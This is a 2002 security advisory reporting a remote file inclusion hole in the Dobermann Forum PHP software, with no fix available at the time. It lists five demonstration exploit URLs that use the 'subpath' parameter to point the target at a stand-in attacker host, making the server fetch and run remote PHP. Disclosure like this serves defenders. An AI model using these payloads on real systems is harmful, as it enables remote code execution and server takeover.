Category:  Application (Generic)  >  Forum Du Dobermann Vendors:  Lefevre, Benjamin
Forum Du Dobermann Web Forum Include File Error Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1005492
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Oct 28 2002
Impact:  Execution of arbitrary code via network, User access via network
Description:  An include file error was reported in the Dobermann Forum software. A remote user can execute arbitrary PHP code on the target system.

It is reported that several scripts include a file 'banniere.php' or 'entete.php' that is called without proper input validation on the script path. A remote user can create the referenced PHP file on a remote system and cause the target server to execute the referenced PHP file by sending a specially crafted URL that points the PHP script to the remote user's PHP file.

The remote user's PHP file can include arbitrary PHP code, including system calls that will cause arbitrary shell commands to be executed on the target server.

The following scripts include 'banniere.php': entete.php, enteteacceuil.php, and topic/entete.php. The following scripts include 'entete.php': index.php and newtopic.php.

Some demonstration exploit examples are provided:

http://[target]/entete.php?subpath=http://[attacker]/
h ttp://[target]/enteteacceuil.php?subpath=http://[attacker]/
http://[target]/topic/entete.php?subpath=http://[attacker]/
http://[target]/index.php?subpath=http://[attack er]/
http://[target]/newtopic.php?subpath=http://[attacker]/

Impact:  A remote user can execute arbitrary PHP code on the target server.
Solution:  No solution was available at the time of this entry.
